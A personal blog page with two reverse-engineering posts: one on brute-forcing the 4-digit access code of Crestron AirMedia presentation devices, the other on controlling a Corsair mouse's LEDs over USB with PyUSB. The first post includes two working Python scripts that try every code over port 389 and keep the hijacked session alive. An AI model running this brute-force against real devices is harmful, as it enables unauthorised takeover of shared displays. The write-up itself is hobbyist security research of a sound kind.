Sunday, April 3, 2016

Bruteforcing Crestron Airmedia



I was doing some reverse engineering to figure out how I can hook into Crestron Airmedia desktop client and bruteforce 4 digit code using Frida (kinda like this http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html ) I spent some time with IDA and Immunity but didn’t figure it out. I did get better at IDA and Immunity though, so it was worth it. I might look into Android client next time since you can easily just decomplie it and look at the code. I ended up using python to do bruteforce.

I don’t have a good reason for why I did this. Besides being able to display my screen to bunch of people without knowing the 4 digit code, I can’t do anything else. It's good enough for Rick Rolling people from far away.

I started my analysis with looking at ‘send’ function. I want to know what’s being sent to the Airmedia device. Last time, I noticed that wppaliveROCK was sent by my machine to the Airmedia device after I connected to it and the device replied with wppaliveROLL.

Anyways. Let’s start with tracing ‘send’. First, we need to know what args are supplied to send and MSDN has pretty good documentation. https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149(v=vs.85).aspx

SEND ( SOCKET, *BUF, LEN, FLAGS )

*BUF is a pointer to the data that will get sent
LEN is # of bytes for the data being sent

BUF and LEN is what we care about.

I ran frida-trace -i “sent” Airmedia.exe

And thankfully, frida auto-generates a file for us that we’re gonna make changes to it.

This is what’s in my send.js file
{
   onEnter: function (log, args, state) {
       log("send(" + args[0] + ")");
log(hexdump(args[1],{length:args[2].toInt32()}));
log("send2(" + args[2] + ")");
log("send3(" + args[3] + ")");
   },
   onLeave: function (log, retval, state) {
   }
}

Args[1] points to our data, args[2] is size.

Frida implemented hexdump feature recently and it’s really helpful. You can get more information here: http://www.frida.re/docs/javascript-api/#global

I entered my data and clicked ‘Connect’

Notice that wppaliveROCK is being sent.

Here’s the 4 digit code being sent.

I know it’s using port 389 because I confirmed with Wireshark. I also captured what Airmedia returned when I sent an incorrect code. It was 777070636d6400009300, which is 'wppcmd' and some other hex data.

Now we can just send this using Python and if a 4 digit code doesn’t return 777070636d6400009300, then that’s our code.

I wrote this simple script to do bruteforce:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
quit()

I ran it and it worked.

Of course, when I went to desktop app and tried to use the code, it said Nope. (I noticed on the TV that Airmedia changes the code after a few seconds)

Then I realized that wppaliveROCK might be the issue, so I added that to my script and it runs whenever the 4 digit code turns out to be correct.

Here’s my new python script:
import socket               
from time import sleep
s = socket.socket()         
import binascii
import sys

IP = sys.argv[1]
starti = int(sys.argv[2])
endi = int(sys.argv[3])

s.connect((IP, 389))

while True:
for pw in range(starti,endi):
sendstart = "wppcmd\x00\x00\x92John\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f"
sendend = "\x00\x00\x00\x00\n\n\x14\x00\x01\x00\x00\x02%\x9dMOPSDK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
sendstr = sendstart + str(pw).zfill(4) + sendend
s.send(sendstr)
recvdata = s.recv(1024)
if binascii.hexlify(recvdata) != "777070636d6400009300":
print recvdata
print str(pw).zfill(4)
print "Starting session handling"
while True:
s.send("wppaliveROCK")
s.recv(1024)

And here it is in action

And sure enough, that code works!


I am a bit disappointed that I couldn't figure out how I can hook into the application and do but, of course, I didn't expect it be that simple either.

Check out these links:

Wednesday, March 9, 2016

Reversing Corsair Sabre LED control and writing PyUSB controller

EDIT: On /r/ReverseEngineering, I was made aware of this project https://github.com/ccMSC/ckb Someone did a more thorough job of reversing what CLE does. Go check it out!

I bought a Corsair Sabre gaming mouse. (http://gaming.corsair.com/en-us/sabre-rgb-gaming-mouse) The LED’s are supposed to improve my gaming performance. That’s a joke. I haven’t really gamed much with it. I decided to figure out how I can change LED’s from Linux or via scripting. The mouse has four RGB LED’s. One is for DPI indication. Three are customizable (with pattern, solid color, and other ways). You can use Corsair CLE (Corsair Utility Engine ) to customize the colors.  CLE is only for Windows.


Once you customize your LED’s in CLE, it the software keeps communicating with the mouse via USB to change the colors or keep it one color. I know this because when I kill CLE or plug-in my mouse on a computer with no CLE, it changes colors back to default.


My first thought was to use Frida (www.frida.re) then hook into CLE to just send colors I want to. This turned out to be much harder than I thought. After going through IDA, CheatEngine, and Immunity Debugger, I was unable to figure out how I could use the software. That’s failure on my side. I kinda gave up on that. I decided to make it easier and just analyze USB communication instead. The benefit of this is, I can also make it work with Linux.


First, watch this:


I started by downloading and installing USBlyzer (http://www.usblyzer.com/). FYI: Wireshark also can parse USB packets.
I clicked through the Device Tree window to find my device.


After trial and error, I realized that Interface 3 is the place where LED change communication occurs. I clicked different USB Input Device checkboxes to see if me changing colors using CLE had any impact. Interface 3 was impacted by color changes.


I started sniffing again on Interface 3 to see what else I could gather. There are three LED’s I can control via the software (CLE).


First thing I did was change LED for Zone 1. I started sniffing then clicked the color next to “Selected.”
I changed it from #112233 to #AABBCC.


Packet’s that were sent
For Seq 0004, I observed AABBCC being sent.


I followed similar process for other two (scroll wheel and front) LED Zones.

After collecting data, this is what I found this:
Packet has 64 bytes total
Start to end:
07 22 04 01 //Not sure what this is for yet. I didn’t care enough about it.
//XX XX XX are R G B values in hex
01 XX XX XX // for front LED
02 XX XX XX // for LED under the logo
03 XX XX XX // for DPI indicator (yes, you can change it!)
04 XX XX XX // for scroll wheel LED
00*44 // Rest is just 00’s.


That was pretty simple.


We now know what we need to send but we still need more info from USBlyzer.
Notice that the program is doing Control Transfer. In the bottom half window, you can select URB and see more details.
Out of all that, we care about bmRequestType, bRequest, wValue, wIndex, and wLength. The reason we care about that is because we’ll also be doing Control Transfer, using PyUSB. You can read more here https://github.com/walac/pyusb/blob/master/docs/tutorial.rst#talk-to-me-honey and https://github.com/walac/pyusb/blob/master/usb/core.py#L997


PyUSB will make it easier for us to communicate with the USB device. You can download it from here: https://walac.github.io/pyusb/ It was pretty easy to install on Linux.


After looking at the examples, this is what I came up a script.


led_control.py

import usb.core
import usb.util


#call this first
def use_usb():
       global dev
       dev = usb.core.find(idVendor=0x1b1c,idProduct=0x1b14) #Found this using lsusb
       dev.detach_kernel_driver(3) #Remember interface 3?
       usb.util.claim_interface(dev,3)
       dev.set_interface_altsetting(interface=3,alternate_setting=0)


#call this last
def stop_usb():
       usb.util.release_interface(dev,3)
       dev.attach_kernel_driver(3)


start = [0x07, 0x22, 0x04, 0x01] #again, not sure what this is for. Didn't look into it.
end = [0x00] * 44


#pass in colors = {1:[r,g,b],2:[r,g,b],3:[r,g,b],4:[r,g,b]
#example:
#colors = {1:[0,0,255],2:[0,255,0],3:[255,0,0],4:[0,0,0]}
def change_colors(colors):
       data = start + [1] + colors[1] + [2] + colors[2] + [3] + colors[3] + [4] + colors[4]
       dev.ctrl_transfer(bmRequestType=0x21, bRequest=0x09, wValue=0x0300, wIndex=0x0003, data_or_wLength=data,timeout=1000)


I can now just import led_control in another python script then change colors.

This is how I use it:

import led_control
led_control.use_usb()
colors = {1:[0,0,255],2:[0,255,0],3:[255,0,255],4:[0,0,0]}
led_control.change_colors(colors)
led_control.stop_usb()


I am new to USB and I have never written anything with PyUSB before. Feel free to recommend what I could have done differently. If you can make the led_control script better, please do so.

If there are inaccuracies in the the post, please leave a comment.